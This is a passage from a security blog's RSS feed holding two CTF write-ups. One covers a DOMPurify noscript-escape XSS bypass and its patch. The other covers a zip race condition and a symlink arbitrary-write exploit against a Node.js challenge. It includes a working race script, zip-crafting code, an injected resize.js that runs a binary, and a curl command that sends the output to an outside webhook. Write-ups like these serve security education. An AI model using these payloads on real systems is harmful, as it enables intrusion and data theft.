&lt;p&gt;Before we go further, let me show you my intended solution to the challenge:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;&amp;lt;/noscript&amp;gt;&amp;lt;img src=x onerror=eval(atob(&apos;&apos;))&amp;gt;&quot;&amp;gt;&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now let us try to see why this works&lt;/p&gt;
&lt;h3&gt;noscript...or yesscript?&lt;/h3&gt;
&lt;p&gt;noscript is a HTML tag that defines alternate content to be displayed when the user&apos;s browser has javascript disabled. The way the browser handles this is by treating content starting from a &lt;code&gt;&amp;lt;noscript&amp;gt;&lt;/code&gt; tag as literal raw text data till it hits another &lt;code&gt;&amp;lt;/noscript&amp;gt;&lt;/code&gt; tag. (in my personal opinion, the name &quot;noscript&quot; is extremely misleading to beginner developers who might use it as an XSS prevention, but webdev might be dead to claude anyways so...).&lt;/p&gt;
&lt;h3&gt;Actual analysis&lt;/h3&gt;
&lt;p&gt;Here&apos;s how the bug actually worked.&lt;/p&gt;
&lt;p&gt;DOMPurify mistakingly assumes that attribute boundaries are &lt;em&gt;preserved&lt;/em&gt; across different HTML context.&lt;br /&gt;
What does one mean by this? Well, essentially DOMPurify assumes that things within an attribute stay within an attribute which is &lt;em&gt;really&lt;/em&gt; &lt;em&gt;really&lt;/em&gt; &lt;strong&gt;really&lt;/strong&gt; not the case. For elements like noscript, xmp, iframe, noembed and noframes.&lt;/p&gt;
&lt;p&gt;The HTML tokenizer treats these contexts differently as explained above depending on what the context is. Consider this snippet&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;div kek=&quot;&amp;lt;/noscript&amp;gt;&quot;&amp;gt;hehe&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is perfectly fine behaviour. The attribute &quot;kek&quot; has the value of &quot;&amp;lt;/noscript&amp;gt;&quot;. There were no opening noscript tags and therefore the HTML parser does not register a noscript context.&lt;/p&gt;
&lt;p&gt;Now consider this snippet&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;noscript&amp;gt;&amp;lt;div kek=&quot;&amp;lt;/noscript&amp;gt;normal_html&quot;&amp;gt;hehe&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now this is a very different scenario. The HTML tokenizer sees the opening &lt;code&gt;&amp;lt;noscript&amp;gt;&lt;/code&gt; tags and proceeds to treat everything after it as raw text. Therefore, &amp;lt;div kek=&quot; becomes raw text. Then, it sees a &lt;code&gt;&amp;lt;/noscript&amp;gt;&lt;/code&gt; closing tag and exits out of the noscript context. Therefore, everything after this (normal_html) is parsed as, well, normal HTML.&lt;/p&gt;
&lt;p&gt;Here is the code snippet responsible&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; /* Work around a security issue with comments inside attributes */
if (
    SAFE_FOR_XML &amp;amp;&amp;amp;
    regExpTest(/((--!?|])&amp;gt;)|&amp;lt;\/(style|title|textarea)/i, value)
  ) {
    _removeAttribute(name, currentNode);
    continue;
  }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Interestingly enough, you can see remnants of a patch of (what I presume) was another XSS vulnerability involving HTML comments! This is a good example of why looking at past commits can be so insanely valuable in finding new bugs.&lt;/p&gt;
&lt;p&gt;Anyhoo, the attribute guard fails to check for the noscript tags. The patch is as follows&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (SAFE_FOR_XML &amp;amp;&amp;amp; regExpTest(/((--!?|])&amp;gt;)|&amp;lt;\/(style|title|xmp|textarea|noscript|iframe|noembed|noframes)/i, value)) {
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you can see, the proper checks are now in place.&lt;/p&gt;
&lt;h3&gt;Visualization of what happens&lt;/h3&gt;
&lt;p&gt;So what actually happens in this challenge?&lt;/p&gt;
&lt;p&gt;Well, the challenge involves concatenating a sanitized snippet into a noscript context&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;res.send(&quot;&amp;lt;div&amp;gt;&amp;lt;noscript&amp;gt;&quot;+clean+&quot;&amp;lt;/noscript&amp;gt;&amp;lt;/div&amp;gt;&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Consider the intended payload &lt;code&gt;&amp;lt;div id=&quot;&amp;lt;/noscript&amp;gt;&amp;lt;img src=x onerror=eval(atob(&apos;&apos;))&amp;gt;&quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;When this gets injected into the response, it becomes&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;&amp;lt;noscript&amp;gt;&amp;lt;div id=&quot;&amp;lt;/noscript&amp;gt;&amp;lt;img src=x onerror=eval(atob(&apos;&apos;))&amp;gt;&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/noscript&amp;gt;&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;See what happens? We escape out of the initial noscript. The DOM looks like this&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;
  &amp;lt;noscript&amp;gt;&amp;lt;div id=&quot;&amp;lt;/noscript&amp;gt;
  &amp;lt;img src=x onerror=eval(atob(&apos;&apos;))&amp;gt;&quot;&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/noscript&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Our img tag is rendered fully and therefore we achieve XSS! Delicious...&lt;/p&gt;
&lt;h2&gt;In defense of myself + extra vibecoding thoughts&lt;/h2&gt;
&lt;p&gt;Now you may ask: if you found this all the way back in November why did you not report it?
My defense is that I did not actually realise this was a vulnerability at all. I assumed that this was intended behaviour of DOMPurify and that this would be classified as &quot;unintended usage due to lack of context given to DOMPurify (a known issue)&quot; had I reported it.&lt;/p&gt;
&lt;p&gt;I do not believe that using DOMPurify this way is smart.&lt;/p&gt;
&lt;p&gt;Also it was probably 2am when I found this bug :p&lt;/p&gt;
&lt;p&gt;RIP my CVE I guess...&lt;/p&gt;
&lt;p&gt;Anyways, an interesting note is that this challenge was created around how vibecoding could introduce vulnerabilities to your code. The context was a webapp that was 100% vibecoded. Initially, I had prompted claude to &quot;create a webapp for my ctf chall etc...don&apos;t introduce the vulnerability yet, I&apos;ll do this myself&quot;. Surprisingly, it actually wrote the challenge (including the vulnerable code!) with a comment that said
&apos;# Safe sanitization code for now, the user will introduce the vulnerability later&apos;&lt;/p&gt;
&lt;p&gt;Perhaps this should&apos;ve told me that this was an actual vulnerability but I guess I was just too oblivious.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Anyhow, I hope you enjoyed this small analysis of the CVE. Hopefully I actually report bugs I find next time (or maybe not).&lt;/p&gt;
</content:encoded><author>kek</author></item><item><title>osu!gaming CTF 2025 - Chart Viewer (Web)</title><link>https://blog.kek.cx/posts/osuctf2025-chart-viewer</link><guid isPermaLink="true">https://blog.kek.cx/posts/osuctf2025-chart-viewer</guid><description>osu!gaming CTF 2025 web challenge writeup</description><pubDate>Thu, 06 Nov 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;I recently played the osu!gaming CTF with &lt;a href=&quot;https://slight-smile.com&quot;&gt;slight_smile&lt;/a&gt; and we managed to clinch 3rd!&lt;br /&gt;
Solved a challenge that was really similar to another race condition challenge I wrote for &lt;a href=&quot;https://sieberr.live/&quot;&gt;Sieberrsec CTF&lt;/a&gt; - &lt;a href=&quot;https://github.com/Sieberrsec-CTF/Sieberrsec-CTF-2025-Public-old/tree/main/finals/web/skibidi&quot;&gt;S.K.I.B.I.D.I&lt;/a&gt;, just with a more obvious entry point for the race condition&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;I love looking at those chart background...&lt;br /&gt;
expected difficulty: 3/5&lt;br /&gt;
Author: chara&lt;br /&gt;
Solves: 14&lt;br /&gt;
Attachments: &lt;a href=&quot;https://osuctf25-challenges.storage.googleapis.com/uploads/95a8a12f77b55e9e6afe50967e33b147179aa74784292c9c8877f15ddb7b2da5/web_chart-viewer.tar.gz&quot;&gt;web_chart-viewer.tar.gz&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Recon&lt;/h2&gt;
&lt;p&gt;Initial recon of this challenge is pretty simple due to the source being provided as unobfuscated javascript.&lt;/p&gt;
&lt;p&gt;We see index.js, flag.txt, and readflag.c. Additionally, the challenge is instanced.&lt;br /&gt;
Immediately, this tells me that we &lt;em&gt;probably&lt;/em&gt; have to achieve rce/at least be able to execute a binary somehow to execute readflag and then pipe the output of that binary somewhere.&lt;/p&gt;
&lt;p&gt;Lets take a look at Dockerfile&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;FROM gcc:latest AS build-readflag
COPY readflag.c /readflag.c
RUN gcc /readflag.c -o /readflag &amp;amp;&amp;amp; \
    chown root:root /readflag &amp;amp;&amp;amp; chmod 4755 /readflag

FROM node:latest

COPY --from=build-readflag /readflag /readflag
RUN chown root:root /readflag &amp;amp;&amp;amp; chmod 4755 /readflag

COPY --chown=root:root flag.txt /flag.txt
RUN chmod 400 /flag.txt

# install 7z and unzip
RUN apt-get update &amp;amp;&amp;amp; apt-get install -y p7zip-full unzip

RUN useradd -m app
USER app

WORKDIR /app
COPY package.json ./
RUN npm install
COPY public ./public
COPY index.js ./

ENTRYPOINT [ &quot;node&quot;, &quot;index.js&quot; ]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Our suspicions are confirmed! As we can see, on build, the readflag.c script is built and the resultant binary is chwon&apos;ed to root and placed in the root directory /. Thereafter, the flag is also placed in root and chown&apos;ed to root.&lt;br /&gt;
Unzip and p7zip-full and installed for some reason and then the webserver is setup and ran as the &quot;app&quot; user.&lt;br /&gt;
Therefore, even if we achieve an arb file read/write, we are unable to read the flag.txt file and have to find some way to call the /readflag binary.&lt;/p&gt;
&lt;p&gt;Next, lets take a look a readflag.c&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* readflag.c — minimal SUID reader (safer than system()) */
#define _GNU_SOURCE
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;sys/stat.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;errno.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;

int main(void) {
    if (setuid(0) != 0) {
        _exit(1);
    }

    /* setgroups(0, NULL); */ /* uncomment if desired and permitted */

    int fd = open(&quot;/flag.txt&quot;, O_RDONLY | O_CLOEXEC);
    if (fd &amp;lt; 0) _exit(2);

    /* Read and write loop */
    char buf[4096];
    ssize_t n;
    while ((n = read(fd, buf, sizeof(buf))) &amp;gt; 0) {
        ssize_t w = 0;
        while (w &amp;lt; n) {
            ssize_t s = write(1, buf + w, n - w);
            if (s &amp;lt;= 0) _exit(3);
            w += s;
        }
    }
    close(fd);
    _exit(0);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is pretty simple, it just reads /flag.txt and pipes the output to stdout. Nothing too fancy here&lt;/p&gt;
&lt;p&gt;Now, onto the meat and potatoes of this challenge - index.js&lt;/p&gt;
&lt;p&gt;There are quite a few functions that look potentially interesting, let&apos;s take a look at them&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const MAX_UPLOAD_BYTES = 2 * 1024 * 1024; // 2 MB

const UPLOAD_DIR = &apos;/tmp/uploads&apos;;
if (!fs.existsSync(UPLOAD_DIR)) fs.mkdirSync(UPLOAD_DIR, { recursive: true });

const storage = multer.diskStorage({
  destination: (req, file, cb) =&amp;gt; cb(null, UPLOAD_DIR),
  filename: (req, file, cb) =&amp;gt; cb(null, req.body.name || file.originalname)
});

const fileFilter = (req, file, cb) =&amp;gt; {
  const name = req.body.name || file.originalname;
  if (name.includes(&apos;..&apos;) || name.includes(&apos;/&apos;) || name.includes(&apos;\\&apos;)) {
    return cb(null, false);
  }
  cb(null, true);
};
const upload = multer({ storage, fileFilter });
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here, the webserver defines MAX_UPLOAD_BYTES, which is likely the maximum size of any file we are allowed to upload in the future. 2MB is rather large so we ought not to be worried here. Furthermore, this tells us that we likely don&apos;t need to upload large files in an attempt to lag the filesystem.&lt;br /&gt;
Next, UPLOAD_DIR is set to /tmp/uploads - likely where our uploaded files are stored.&lt;/p&gt;
&lt;p&gt;We can see that multer is configured with diskStorage to UPLOAD_DIR, confirming our suspicions.&lt;/p&gt;
&lt;p&gt;Lastly, fileFilter filters all &apos;..&apos; and &apos;/&apos; and &apos;&apos; from the filename, almost definitively preventing naive path traversal.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;app.post(&apos;/upload&apos;, upload.single(&apos;file&apos;), (req, res) =&amp;gt; {
  if (!req.file) return res.status(400).send(&apos;no file uploaded, check filename&apos;);
  if (req.file.filename.includes(&apos;..&apos;) || req.file.filename.includes(&apos;/&apos;)) {
    return res.status(400).send(&apos;invalid filename&apos;);
  }
  res.send(`${req.file.filename}`);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The upload endpoint is pretty basic. We just need to provide a filename, and it checks if the filename includes &apos;..&apos; or &apos;/&apos;. Interestingly enough, the if loop where it returns &quot;invalid filename&quot; doesn&apos;t actually check for &apos;&apos;. Thought that was pretty interesting at first but it leads to nowhere in the end.&lt;br /&gt;
With this, we have a file upload to anywhere in /tmp/uploads&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
app.get(&apos;/process&apos;, async (req, res) =&amp;gt; {
  const name = req.query.name;
  const entryName = req.query.file;
  const startTime = Date.now(); 
  if (!name || !entryName) return res.status(400).send(&apos;missing params&apos;);
  if (name.includes(&apos;..&apos;) || name.includes(&apos;/&apos;) || name.length &amp;gt; 1) {
    // I made some errors here - but still should be solvable :clueless:
    return res.status(400).send(&apos;bad zip name&apos;);
  }

  const zipPath = path.join(UPLOAD_DIR, `${name}`);
  try {
    const zip = new StreamZip.async({ file: zipPath });
    const entries = await zip.entries();
    for (const [ename, entry] of Object.entries(entries)) {
      const archiveEntryName = ename;

      const unixStyle = String(archiveEntryName).replace(/\\/g, &apos;/&apos;);
      if (unixStyle.includes(&apos;\0&apos;) || /[\x00-\x1f]/.test(unixStyle)) {  
        await zip.close();
        console.log(&apos;Bad zip entry (null/control bytes):&apos;, archiveEntryName);
        return res.status(400).send(&apos;bad zip entry (invalid chars)&apos;);
      }
      const normalized = path.posix.normalize(unixStyle);

      if (
        normalized === &apos;&apos; ||
        normalized.startsWith(&apos;/&apos;) ||
        /^[a-zA-Z]:\//.test(unixStyle) ||
        normalized.split(&apos;/&apos;).some(seg =&amp;gt; seg === &apos;..&apos;)
      ) {
        await zip.close();
        console.log(&apos;Found path traversal entry:&apos;, archiveEntryName);
        return res.status(400).send(&apos;bad zip entry (path traversal)&apos;);
      }

      const attr = entry &amp;amp;&amp;amp; entry.attr ? entry.attr : 0;
      const looksLikeSymlink = (((attr &amp;gt;&amp;gt; 16) &amp;amp; 0xFFFF) &amp;amp; 0o170000) === 0o120000;
      if (looksLikeSymlink) {
        await zip.close();
        console.log(&apos;Found symlink via external attributes:&apos;, archiveEntryName);
        return res.status(400).send(&apos;symlinks not allowed (detected)&apos;);
      }

    }
    await zip.close();
  } catch (err) {
    console.log(err);
    return res.status(500).send(&apos;check error&apos;);
  }
  try {
    if (entryName.includes(&apos;..&apos;) || entryName.includes(&apos;/&apos;)) {
      return res.status(400).send(&apos;bad entry name&apos;);
    }
    const extractDir = path.join(UPLOAD_DIR, `${name}_extracted`);

    if (!fs.existsSync(extractDir)) fs.mkdirSync(extractDir);

      await new Promise(resolve =&amp;gt; setTimeout(() =&amp;gt; { fs.copyFileSync(zipPath, path.join(extractDir, path.basename(zipPath))); resolve(); }, 1000));
      const unzipResult = spawnSync(&apos;unzip&apos;, [&apos;-o&apos;, path.join(extractDir, path.basename(zipPath))], { cwd: extractDir, timeout: 10000 });
    if (unzipResult.status !== 0) {
      console.log(`Unzip error: ${unzipResult.stderr.toString()}, ${unzipResult.status}`);
      return res.status(500).send(&apos;unzip error&apos;);
    }

    const entryPath = path.join(extractDir, path.basename(`${entryName}`));
    const contents = fs.readFileSync(entryPath, &apos;utf8&apos;);
    console.log(`Reading entry from path: ${entryPath}`);

    if (!fs.existsSync(entryPath)) {
      return res.status(404).send(&apos;entry not found (second check)&apos;);
    }
    fs.readFile(entryPath, &apos;utf8&apos;, (err, data) =&amp;gt; {
      if (err) return console.error(err);
    });

    if (!entryPath.endsWith(&apos;.jpg&apos;) &amp;amp;&amp;amp; entryName.length &amp;gt; 1) { // if entryName.length = 1 you can read anything
      return res.status(400).send(&apos;only .jpg files allowed&apos;);
    }

    if (!contents) return res.status(404).send(&apos;entry not found&apos;);
    return res.type(&apos;text/plain&apos;).send(contents);
  } catch (err) {
    console.log(err);
    return res.status(500).send(&apos;read error&apos;);
  }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is the meat of the challenge. In essence, the /process endpoint allows us to specify a single character filename. Afterwhich, it opens /tmp/uploads/&amp;lt;filename&amp;gt; as a zipfile, does some path normalization, checks for &apos;/&apos; in record names (to prevent path traversal).&lt;br /&gt;
If the zip file passes all these checks, it creates a folder /tmp/uploads/&amp;lt;filename&amp;gt;_extracted (if it doesn&apos;t already exist), waits for 1 second, copies /tmp/uploads/&amp;lt;filename&amp;gt; over to /tmp/uploads/&amp;lt;filename&amp;gt;_extracted and unzips the file with the unzip command with a timeout of 10 seconds.&lt;/p&gt;
&lt;p&gt;Lastly, it attempts to read req.query.file (that cannot contain / or ..) with &lt;code&gt;!entryPath.endsWith(&apos;.jpg&apos;) &amp;amp;&amp;amp; entryName.length &amp;gt; 1&lt;/code&gt; this check and returns the contents of the file.&lt;/p&gt;
&lt;h2&gt;Thought Process&lt;/h2&gt;
&lt;p&gt;A few things stand out immediately.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The folder name in which it stores the extracted files is &lt;em&gt;deterministic&lt;/em&gt;. Furthermore, the folder&apos;s contents aren&apos;t destroyed. This means that we can call the process endpoint multiple times with the same zipfile and the contents of each zipfile will simply be dumped there without fail.&lt;/li&gt;
&lt;li&gt;It waits for a full second before copying the zip file over. This is a classic redflag for CTF challenges that tell you with almost 100% certainty that a race condition is involved &lt;em&gt;somewhere&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;It uses the unzip command. The unzip command overwrites files indiscriminately, and will remove path segments like &apos;..&apos; and prefixed &apos;/&apos;. This is secure given that you unzip the file in an &lt;em&gt;empty&lt;/em&gt; folder. Therefore, the checks for path traversal actually don&apos;t do anything&lt;/li&gt;
&lt;li&gt;Zips can contain symlinks. This is a very common quirk of zip files/archive formats that many ctf challenges use (and can also appear pretty commonly in real life!)&lt;/li&gt;
&lt;li&gt;P7zip-full is installed for some reason but never used (spoiler: this is irrevelant to the challenge but I spent quite some time down this rabbit hole :angry:)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Race condition vulnerabilities where some variable is checked against some condition, then used after are called &lt;a href=&quot;https://natalieagus.github.io/50005/labs/02-toctou&quot;&gt;TOCTOU(Time Of Check, Time Of Use)&lt;/a&gt; vulnerabilities.&lt;br /&gt;
However, I personally never found an appeal for this acronym.&lt;br /&gt;
Liveoverflow has a pretty nice video explaining this class of vulnerabilities on his channel &lt;a href=&quot;https://www.youtube.com/watch?v=5g137gsB9Wk&quot;&gt;here&lt;/a&gt;&lt;br /&gt;
Or maybe I&apos;m just a liveoverflow simp...&lt;/p&gt;
&lt;p&gt;Anyhow, the first thing that came to my mind was that we could swap out the zipfiles before the file was copied over, but after the check was done.&lt;/p&gt;
&lt;p&gt;This is made possible by the fact that the upload function &lt;em&gt;rewrites&lt;/em&gt; old files, plus the fact that there is a whole second after the check but before the copy.&lt;/p&gt;
&lt;p&gt;Therefore I wrote this script&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests


# B contains the symlink, A contains the file,C will contain the
url = &quot;https://chart-viewer-2234294574f3.instancer.sekai.team&quot;

r = requests.post(url + &apos;/upload&apos;, files = {&apos;file&apos;: (&apos;A&apos;, open(&apos;A&apos;, &apos;rb&apos;))}, data = {&apos;name&apos;: &apos;A&apos;})


print(r.text)
print(&apos;Uploaded A&apos;)


import threading
import time


def send_file(files, data):
    time.sleep(0.2)
    print(&apos;files:&apos;, files)
    print(&apos;data:&apos;, data)
    r = requests.post(url + &apos;/upload&apos;, files=files, data=data)
    print(r.text)


def send_process(data):
    print(data)
    r = requests.get(url + &apos;/process&apos;, params=data)
    print(r.text)

thread1 = threading.Thread(target=send_file, args=({&apos;file&apos;: (&apos;A&apos;, open(&apos;zips/A&apos;, &apos;rb&apos;))}, {&apos;name&apos;: &apos;A&apos;}))
thread2 = threading.Thread(target=send_process, args=({&apos;name&apos;: &apos;A&apos;, &apos;file&apos;: &apos;faketmp&apos;},))


thread1.start()
thread2.start()

thread1.join()  #  Wait for completion
thread2.join()

print(&quot;Both requests completed, uploaded symlink&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will upload &apos;A&apos;, call /process, and 0.2s later upload another file of my choosing with name &apos;A&apos;.&lt;/p&gt;
&lt;p&gt;This allows us to bypass the huge chunk of checks.&lt;/p&gt;
&lt;p&gt;Hurrah! We can now solve the challenge...right? Simply upload a zip containing something like test.jpg, then swap it out with a zip that contains a symlink to /flag.txt.&lt;/p&gt;
&lt;p&gt;This is where we hit our first roadblock. We cannot simply read /flag.txt as it is owned by root. Furthermore, the unzip utility strips all &apos;..&apos; and ignore&apos;s prefixed &apos;/&apos;s. Therefore, we are only limited extracting only to our current directory (and subdirectories).&lt;/p&gt;
&lt;p&gt;At this juncture, my initial instinct was that p7zip-full had to be installed for &lt;em&gt;some&lt;/em&gt; reason. Perhaps unzip had a lesser known feature that called p7zip whenever it saw a 7z archive?&lt;br /&gt;
I then spent the next 30min crawling through the unzip documentation and experimenting around with it in hopes of finding such behavior with no luck.&lt;br /&gt;
I&apos;m 99% sure the author installed p7zip-full just to toy with our feelings :shrug:&lt;/p&gt;
&lt;p&gt;After some mulling around spinning in my chair, I realised that by swapping in the zip files, we could upload folders that were symlinks to other folders!&lt;br /&gt;
That is, we could craft a zip file, &apos;A&apos;, with the following structure&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;helloworld -&amp;gt; /app&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Then, we can extract this zip which leaves us with&lt;br /&gt;
/tmp/uploads/A_extracted/helloworld -&amp;gt; /app&lt;/p&gt;
&lt;p&gt;Afterwhich, we craft another zipfile, &apos;A&apos; with the following structure&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;hellworld/dangerous_looking_payload.js&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Which when unzipped, will cause unzip to extract dangerous_looking_payload.js to /tmp/uploads/A_extracted/helloworld, which leads to dangerous_looking_payload.js being extracted to app.js&lt;/p&gt;
&lt;p&gt;With this, we have an arbitrary write on the whole filesystem and the challenge should be trivial after this.&lt;/p&gt;
&lt;p&gt;Here&apos;s a helpful infographic I drew on mspaint :laugh:&lt;br /&gt;
&lt;img src=&quot;/images/osuctf2025-chart-viewer-image.png&quot; alt=&quot;Exploit.jpg&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now what file can we overwrite to get RCE? Conveniently, there seems to be another function in index.js, /render&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;app.post(&apos;/render&apos;, (req, res) =&amp;gt; {
  const sharp = require(&apos;sharp&apos;);

  const contentLength = parseInt(req.headers[&apos;content-length&apos;] || &apos;0&apos;, 10);
  if (contentLength &amp;amp;&amp;amp; contentLength &amp;gt; MAX_UPLOAD_BYTES) return res.status(413).send(&apos;file too large&apos;);

  let bytes = 0;
  let aborted = false;
  req.on(&apos;data&apos;, c =&amp;gt; {
    bytes += c.length;
    if (bytes &amp;gt; MAX_UPLOAD_BYTES &amp;amp;&amp;amp; !aborted) {
      aborted = true;
      req.destroy();
      try { res.status(413).send(&apos;file too large&apos;); } catch (e) { }
    }
  });

  const transformer = sharp({ failOnError: true })
    .ensureAlpha()
    .removeAlpha()
    .resize(16, 1, { fit: &apos;fill&apos; });

  req.pipe(transformer);

  transformer
    .raw()
    .toBuffer({ resolveWithObject: true })
    .then(({ data, info }) =&amp;gt; {
      if (aborted) return;
      if (!info || info.channels &amp;lt; 3) return res.status(400).send(&apos;unsupported image&apos;);

      const channels = info.channels;
      const sampled = [];
      for (let x = 0; x &amp;lt; info.width; x++) {
        const idx = x * channels;
        const r = data[idx];
        const g = data[idx + 1];
        const b = data[idx + 2];
        sampled.push(rgbToHex(r, g, b));
      }
      return res.json({
        controlColors: sampled,
      });
    })
    .catch(err =&amp;gt; {
      if (!res.headersSent) {
        console.error(&apos;render error&apos;, err &amp;amp;&amp;amp; err.message ? err.message : err);
        res.status(400).send(&apos;image processing error&apos;);
      }
      try { transformer.destroy(); } catch (e) { }
      try { req.destroy(); } catch (e) { }
    });

  req.on(&apos;close&apos;, () =&amp;gt; {
    try { transformer.destroy(); } catch (e) { }
  });
});

function rgbToHex(r, g, b) {
  return &apos;#&apos; + [r, g, b].map(v =&amp;gt; (v &amp;amp; 0xff).toString(16).padStart(2, &apos;0&apos;)).join(&apos;&apos;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It is interesting that the sharp library is only imported upon the first call of /render.&lt;br /&gt;
Some digging into the &lt;a href=&quot;https://sharp.pixelplumbing.com/&quot;&gt;sharp&lt;/a&gt; library tells me that it is used for &quot;High performance Node.js image processing&quot;&lt;/p&gt;
&lt;p&gt;That seemed like a promising candidate to overwrite files to, as we could overwrite files that would only be &quot;imported&quot;/stored in memory after we called /render, which is non essential to our exploit thus far.&lt;br /&gt;
Therefore, I did an npm install and went digging around the libraries files.&lt;/p&gt;
&lt;p&gt;I quickly found resize.js, which stored &lt;code&gt;function resize (widthOrOptions, height, options) {&lt;/code&gt;, which was called by &lt;code&gt;.resize(16, 1, { fit: &apos;fill&apos; });&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Therefore, I quickly wrote a new resize.js which looked something like this&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function resize (widthOrOptions, height, options) {
  const { execSync } = require(&apos;child_process&apos;);

  // Execute /readflag and capture stdout
  let stdout = execSync(&apos;/readflag&apos;, { encoding: &apos;utf-8&apos; });
  
  // Send the output via curl
  execSync(`curl -X POST -d &quot;${stdout}&quot; https://webhook.site/1a0b2935-9c58-4abe-9410-b00ea9d64a09`);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Which just sent the flag to my webserver.&lt;/p&gt;
&lt;h2&gt;Flagging&lt;/h2&gt;
&lt;p&gt;Thus, our exploit is complete.&lt;br /&gt;
I used this nifty python script to create 3 zip files&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import zipfile

# Create zip file named &apos;A.zip&apos;

with open(&apos;old_resize.js&apos;, &apos;r&apos;) as f:
    resize_js_content = f.read()
with zipfile.ZipFile(&apos;zips/A&apos;, &apos;w&apos;) as zf:
    # Add entry with absolute path /app/test.txt
    zf.writestr(&apos;faketmp/resize.js&apos;, resize_js_content)

print(&quot;Created A.zip with entry /app/test.txt containing &apos;pogchamp&apos;&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;First, we had
&apos;A&apos;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;test.jpg&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Next, we had
&apos;A&apos;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;faketmp -&amp;gt; /app/node_modules/sharp/lib&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Afterwhich, we had
&apos;A&apos;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;faketmp/resize.js&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Using our previous overwrite_import.py script, we could then upload each file one by one and overwrite the resize.js library.&lt;br /&gt;
Next, we simply call /render and win!&lt;/p&gt;
&lt;p&gt;Testing this on local seemed to work well&lt;br /&gt;
&lt;img src=&quot;/images/osuctf2025-chart-viewer-flag.png&quot; alt=&quot;Local Flagged!&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And on remote, we got
&lt;code&gt;osu{I_w4nt_mus1c_n3xt_t1m3}&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;This was a decently interesting challenge(that can probably serve as a good introduction) about race conds and symlinks. 7/10&lt;/p&gt;
</content:encoded><author>kek</author></item></channel></rss>